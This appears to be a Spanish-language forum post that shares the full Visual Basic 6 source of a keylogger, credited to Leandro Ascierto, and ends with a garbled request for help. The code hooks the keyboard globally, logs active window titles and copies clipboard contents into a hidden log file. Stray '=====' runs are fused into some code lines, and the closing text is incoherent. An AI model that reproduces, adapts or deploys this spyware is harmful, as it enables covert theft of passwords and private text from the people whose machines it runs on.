Hola amigos.
Option Explicit
'------------------------------------
'Autor: Leandro Ascierto
'Web: www.leandroascierto.com.ar
'Fecha: 13-02-2010
'save input Keys, Active Widows, Url from Navigators and clipboard
'------------------------------------
Private Declare Function GetClassName Lib "USER32" Alias "GetClassNameA" (ByVal hWnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
Private Declare Function PostMessage Lib "user32.dll" Alias "PostMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function CreateWindowEx Lib "user32.dll" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, ByRef lpParam As Any) As Long
Private Declare Function DestroyWindow Lib "user32.dll" (ByVal hWnd As Long) As Long
Private Declare Function RegisterWindowMessage Lib "USER32" Alias "RegisterWindowMessageA" (ByVal lpString As String) As Long
Private Declare Function CallWindowProc Lib "USER32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function SetWindowLong Lib "USER32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function SendMessage Lib "USER32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Any) As Long
Private Declare Function RegisterShellHook Lib "Shell32" Alias "#181" (ByVal hWnd As Long, ByVal nAction As Long) As Long
Private Declare Function IsClipboardFormatAvailable Lib "user32.dll" (ByVal wFormat As Long) As Long
Private Declare Function SetClipboardViewer Lib "USER32" (ByVal hWnd As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Private Const XCLASS_DATA As Long = &H2000
Private Const XTYP_REQUEST As Long = (&HB0 Or XCLASS_DATA)
Private Const CP_WINANSI As Long = 1004==================================================
Private Const CF_TEXT As Long = 1
Private Const WM_SETTEXT As Long = &HC
Private Const WM_GETTEXTLENGTH As Long = &HE
Private Const WM_GETTEXT As Long = &HD
Private Const RSH_REGISTER_TASKMAN As Long = 3
Private Const HSHELL_WINDOWACTIVATED As Long = 4
Private Const WH_KEYBOARD_LL As Long = 13
Private Const SHELLHOOKMESSAGE As String = "SHELLHOOK"
Private Const GWL_WNDPROC As Long = -4
Private Const ES_MULTILINE As Long = &H4&
Private Const ES_AUTOVSCROLL As Long = &H40&
Private Const ES_AUTOHSCROLL As Long = &H80&
Private Const WM_IME_KEYDOWN As Long = &H290
Private Const WM_SYSKEYDOWN As Long = &H104
Private Const WM_KEYDOWN As Long = &H100
Private Const WM_KEYUP As Long = &H101
Private Const WM_DRAWCLIPBOARD As Long = &H308
Private WM_SHELLHOOK As Long
Private hEdit As Long
Private hHook As Long
Private WinProc As Long
Private hFile As Integer
Private LastActiveWindow As Long
Public Function StarKeyLogger(ByVal DestPath As String) As Boolean
If hEdit Then Exit Function
hEdit = CreateWindowEx(0, "EDIT", "", ES_MULTILINE Or ES_AUTOVSCROLL Or ES_AUTOHSCROLL, 0, 0, 0, 0, 0, 0, App.hInstance, 0)
If hEdit <> 0 Then
hFile = FreeFile
Open DestPath For Append As #hFile
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0)
WM_SHELLHOOK = RegisterWindowMessage(SHELLHOOKMESSAGE)
RegisterShellHook hEdit, RSH_REGISTER_TASKMAN
SetClipboardViewer hEdit
WinProc = SetWindowLong(hEdit, GWL_WNDPROC, AddressOf WndProc)
StarKeyLogger = True
End If
End Function
Public Function EndKeyLogger() As Boolean
If hEdit <> 0 Then
Call UnhookWindowsHookEx(hHook)
Call SetWindowLong(hEdit, GWL_WNDPROC, WinProc)
If GetWindowTextLength(hEdit) > 0 Then SaveLog GetWindowText(hEdit)
DestroyWindow hEdit: hEdit = 0
Close #hFile
EndKeyLogger = True
End If
End Function
Private Function WndProc(ByVal hWnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
On Error Resume Next
Dim sRet As String
WndProc = CallWindowProc(WinProc, hWnd, uMsg, wParam, lParam)
Select Case uMsg
Case WM_SHELLHOOK
If wParam = HSHELL_WINDOWACTIVATED Then
If lParam <> 0 And LastActiveWindow <> lParam Then
LastActiveWindow = lParam
If GetWindowTextLength(hEdit) > 0 Then SaveLog GetWindowText(hWnd)
If sRet <> "" Then
SaveLog "[" & Now & "] Ventana Activa: " & GetWindowText(lParam) & vbCrLf & sRet & vbCrLf & String(100, "-") & vbCrLf
Else
SaveLog "[" & Now & "] Ventana Activa: " & GetWindowText(lParam) & vbCrLf & String(100, "-") & vbCrLf
End If
End If
End If
Case WM_DRAWCLIPBOARD
If IsClipboardFormatAvailable(vbCFText) <> 0 Then
If GetWindowTextLength(hEdit) > 0 Then SaveLog GetWindowText(hWnd)
SaveLog "[" & Now & "] Portapaples: " & vbCrLf & String(100, "-") & vbCrLf _
& Clipboard.GetText & vbCrLf & String(100, "-") & vbCrLf
End If
End Select
End Function
Private Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
On Error Resume Next
Select Case wParam
Case WM_KEYDOWN
If lParam <> 222 And lParam <> 186 And lParam <> 162 And lParam <> 20 Then
Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&)
End If==================================================
Case WM_SYSKEYDOWN
If lParam = 162 Or lParam = 165 Or lParam = 50 Then
Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&)
End If
End Select
End Function
Private Function GetWindowTextLength(ByVal hWnd As Long) As Long
On Error Resume Next
GetWindowTextLength = SendMessage(hWnd, WM_GETTEXTLENGTH, 0&, 0&)
End Function
Private Function GetWindowText(ByVal hWnd As Long) As String
On Error Resume Next
Dim TextLen As Long
TextLen = SendMessage(hWnd, WM_GETTEXTLENGTH, 0&, 0&)
GetWindowText = String(TextLen, Chr$(0))
SendMessage hWnd, WM_GETTEXT, TextLen + 1, GetWindowText
End Function
Private Sub SaveLog(ByVal sText As String)
Print #hFile, sText
SendMessage hEdit, WM_SETTEXT, 0&, vbNullString
End Sub
Private Function ClassNameOf(ByVal hWnd As Long) As String
Dim sClassName As String, Ret As Long
sClassName = Space(256)
Ret = GetClassName(hWnd, sClassName, 256)
If Ret Then ClassNameOf = Left$(sClassName, Ret)
End Function
El título de este keylogger es donde todo se hace clic.
Que sólo se pulsa la tecla que desea que el título de la actividad.
¿Me puede ayudar a que no podía.
